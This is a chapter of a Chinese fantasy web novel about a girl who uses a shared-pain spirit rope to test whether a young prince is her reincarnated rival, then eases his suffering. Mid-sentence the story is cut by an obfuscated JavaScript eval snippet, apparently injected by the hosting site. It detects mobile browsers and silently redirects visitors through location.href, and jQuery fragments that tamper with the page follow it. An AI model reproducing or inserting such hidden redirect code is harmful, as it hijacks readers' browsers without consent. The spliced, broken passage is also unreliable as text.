默认冷灰
24号文字
方正启体

8. 确认

作者:酷炫小熊猫本书字数:K更新时间:
    男孩只看了她一眼,又低下头去。身旁围着的孩子们还在叽叽喳喳地说:“你怎么不说话?哑巴吗?”


    这厮可是原诃的转世,总不能窝囊成这样,徐京霞这样想着,决定静观其变。


    一直被她无视、在其身后发火的祁嘉树终于冷静下来,几步上前喝道:“这可是我的皇兄,你们仔细着说话!”


    徐京霞意外地看着他,心道莫非他们二人关系不错?


    围着的孩子像环绕的鱼群,让祁嘉树唬得一下子散了。谁料下一瞬,祁嘉树又侧身,神情鄙夷:“你真不肖皇室子弟,叫人这般欺辱!”


    原诃依旧垂首立在原地,默不作声。祁嘉树瞬间失了兴趣,“哼”了一声甩袖回座。


    徐京霞不动声色地扫了一眼,仍有几位顽劣稚童朝着他呲牙咧嘴,本人却丝毫不在意,寻了个空位便径直坐下,给那些人留下一个冷漠的背影。


    一整日,他都没再看她第二眼。


    教习也在此时踏入讲舍,徐京霞回神,回座时仍在想:得寻个时机,验验这位“大皇子”。


    彩云流动,日光也逐渐暗黄。


    当落日的余晖映入讲舍时,一日的授课方才结束。


    徐京霞理好了书籍,自家的丫头已在馆外候着了。丫鬟将书接过,正要领着小姐回去,徐京霞却突然虚弓着身,面色惨白,额角冒汗:“我、我腹痛……”


    丫鬟让她吓了一跳,满脸焦急,不知如何是好:“奴婢带您去寻太医!”


    徐京霞舔了舔唇,声音弱小,带着些羞意:“不用,去净房就好了。”


    丫鬟连忙道:“我与您一道去。”


    这哪儿能让她一块去?


    徐京霞摆了摆手:“我不想让别人知道,你在这儿等我,我很快回来。”


    “这……”


    话音未落,徐京霞便捂着肚子,迈着小短腿急匆匆地拐进了旁边的廊道,小小的身影很快消失在廊柱后,只留下丫鬟在原地焦急张望。


    她依着记忆,朝馆舍后方相对僻静的园林方向摸去——方才匆匆一瞥,那闷葫芦似乎是朝那边走的。


    才走了没几步,忽然,肩上传来异感。徐京霞敛起眉眼,几乎是下意识抓住对方那未来得及收回的手,而后反方向一扭——


    “嘶”的一声轻呼,徐京霞扭头看去,大皇子惨白着小脸,手臂以一种极怪异的姿势被她拧着,动弹不得。


    徐京霞解开禁锢,蹙起眉:“是你?你为何跟着我?”


    手臂的疼痛仍未消散,大皇子面白如纸,舔了舔唇,声音干涩:“不是郡主您在找我吗?”


    “……还一直看着我。”


    没想到原诃虽然变得窝囊了些,脑子还是灵活的。


    这也算是今日徐京霞对他唯一欣慰的地方了。


    见她不回话,他又问:“郡主找我,所谓何事?”


    她仍未回答,反问道:“殿下,您叫什么名字?”


    他抿了抿唇,犹豫半晌,才小声道出一个名姓:“……祁瑨。”


    徐京霞在心中默念,脱口而出:“美石次玉,是个好名字。”


    他闻言,眼尾短暂地上扬,而后又慌乱垂下头:“……是我母妃起的。”


    诶哟,瞧他这开心又不敢嘚瑟的样。


    徐京霞哼笑一声,不管如何,到底还是个孩子。


    祁瑨绞着单薄的衣衫,小心抬眼,方才的情绪已然消散。他再次问道:“郡主您究竟为何找我?”


    “嗯……”


    徐京霞含糊不清,验证他是否为原诃,最方便、最有用的方法,只有一个。


    她心下估摸着捆灵索反噬的力度,和原诃这闷葫芦可能有的耐痛力……


    一番抉择后,她环顾四周,确认无人经过后,背过身后的手腕一翻,施了个超乎捆灵索界限的仙术。


    灵力过界,反噬立至;感通之人,各分其痛。


    下一瞬,祁瑨闷哼一声,一股灼热如烈火般的刺痛自腕骨钻入筋脉,害的他登时捂着手腕,疼得直不起腰来。


    徐京霞尚且还能忍受,状似无辜地问他:“殿下,你怎么了?”


    祁瑨扬起惨白的小脸,他紧咬着唇,不愿溢出一丝喘息,话语有些磕绊:“我的,手,有点疼……”


    园林深处,暮色渐沉,偶有归鸟的啼鸣划过,衬得这一小方天地愈发安静,只有祁瑨压抑的呼吸声。


    徐京霞:“要去寻太医吗?”


    祁瑨摇了摇头:“不用,很快就会好的。”


    “您经常这样吗?”


    祁瑨小幅度点头,他用力捂着手腕,明明疼痛难忍,却不愿意让他人看出他的脆弱,只轻微弓着腰,若是远远看着,瞧不出任何问题。


    死要面子活受罪。


    徐京霞撇了撇嘴,她数落着这个好面子的“同僚”,心里却有一块地方像是被人掐了一下,不疼,但是酸酸的。


    也就是年纪还小,又无灵力傍身,这才连捆灵索的一丝异动都承受不了。


    看来这些年,他因捆灵索遭了不少罪。


    她叹了一口气,闭眼凝神,尝试用意念引导腕间那躁动的绳索:‘过来,别折腾孩子了。’


    收回感通时,她又近乎怨恨地想:谁让你想出这么一个损招?这下难受了吧!


    可刚想完,祁瑨克制不住的痛呼便扑进了耳里。她抬眼,正撞见他飞快瞥向自己的眼神,那眼神里有隐忍,还有不易察觉的委屈。


    他捂着剧痛手腕的手,几乎是立刻转而死死捂住了自己的嘴巴,像是怕再发出一点声音。


    徐京霞看着他额角渗出的冷汗,面色复杂。心头那点刚冒出的怨怼,像是被冷水浇了一下,瞬间焉了下去。


    脑中莫名浮现出一句话:


    俗话说,能力越大,责任越大。


    自己比原诃强上百倍,自然要保护弱者。


    徐京霞脑中天人交战,最后还是那点不忍占了上风,终于说服了自己。


    而此时,那绳索像是听懂了她内心的决断,更多的灼热感涌了上来,顺着她的手腕一路蔓延至心口。她咬着牙承受,却见祁瑨紧锁的眉头,终于稍稍松开些。


    “好些了?”徐京霞问。


    祁瑨已能直起身,他看向徐京霞的双眼,似有些局促:“是好些了……让郡主见笑了。”


    他嘴唇动了动,似乎还想说些什么,最终却没有开口。


    徐京霞目的达到,估摸着再不回去,那丫鬟就该找过来了。


    恰逢清风徐来,空气中一声声“小姐”的呼喊悠扬传来,就像在为她报信一般。


    徐京霞的视线不断往声源那瞥,说:“那殿下好生歇息,我便不打扰了。”


    不等他回答,徐京霞已迈开步子,那身影虽幼小


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420683|200833||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,移动间却有种异于常人的轻灵,三两下便没入渐浓的暮色与园林深处。


    徒留祁瑨挽留的手僵在半空。


    他慢慢放下僵住的手,轻轻握了握刚才疼痛现已舒缓的手腕,似乎那里还残留着一丝陌生的、不属于他身体的暖意。


    他喃喃道:“婉宁郡主……真是个怪人。”


    …


    徐京霞在崇文馆附近撞上了府中丫鬟。


    那丫鬟急得眼眶通红,声音都带了些许哽咽:“小姐,您可算回来了!奴婢急死了!”


    徐京霞牵起她的手,拉着她往左府马车方向去:“我腹疼,自然耽搁得久。”


    她柔声安抚:“别哭了,我会与母亲禀明情况,不会怪罪你的。”


    丫鬟这才泣声道谢,肩膀一颤一颤的,打起哭嗝。


    二人上了马车后,丫鬟才堪堪止住。


    徐京霞不禁叹了口气。


    白书蝶自然是通情达理、善解人意的。可近些年来,只要自己与皇室沾上点什么关系,她就会草木皆兵。


    府里上上下下,没有一个不被她这股子势头给唬住的。


    便连父亲,都已与母亲分房而寝多日了。


    徐京霞捏了捏酸痛的眉头,无奈想:怎么哪里都需本仙出马。


    马车不知何时停下,徐京霞刚被丫鬟扶着下了车,耳畔就传来急促的脚步声。


    “筠儿!”


    徐京霞下意识一激灵,只见白书蝶半是恼怒半是担忧,身后还跟着二位兄长不停劝阻。


    她几步上前,刚要与丫鬟动怒,徐京霞便不动声色地拦在其身前,道:“母亲,还是先进去吧。”


    白书蝶愣了一下,冒出头的怒火骤然失去了支撑,瞬间瘪了下去,只剩满眼担忧。


    她憋闷得说不出话,硬拽着徐京霞往府中走。


    徐京霞被迫快步疾走,手腕捆灵索的惩罚才刚结束,就又被白书蝶强硬攥紧。


    旧痛未消,又添新楚。


    徐京霞想:有点疼啊。


    兄长在旁边不断围着二人转,他们眼尖,瞧见徐京霞面色不太好,急忙道:“娘,娘!妹妹不太舒服!”


    白书蝶扭头,吓了一跳——


    只见徐京霞脸色惨白,额角不断渗汗,但她咬着牙关,愣是一声不吭。


    “筠儿!”白书蝶一下松开禁锢的手,将她抱入怀中,“你别吓娘!”


    她冲一旁担忧的丫鬟惊叫道:“去寻个大夫!”


    “等等……”徐京霞出声阻止,虚弱道,“我好多了。”


    她没扯谎,白书蝶松开她的手腕后,身子渐渐涌上些气力了。


    徐京霞在她怀里闷得喘不过气,轻轻挣了挣,好仰起脸看着她的眼睛,认真解释道:“散学时我有些闹肚子,所以才耽搁了。您别生气了。”


    白书蝶看着她逐渐恢复气色的小脸,她认真解释的模样像生怕自己怪罪于她。


    她心痛不已,眼角泛泪:“娘怎会生你的气?”


    有了这一变故,白书蝶心宽了不少。她信了徐京霞“腹痛”的说辞,并未再迁怒接她回府的丫鬟。


    吃过晚饭后,徐京霞回了自己的院子。


    夜空云雾厚重,只余几点星子朦胧地发光。她抬起头,莫名想起与原诃决斗的那晚。


    眼下已确认身份,她又该如何时刻近他身、护着他呢?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)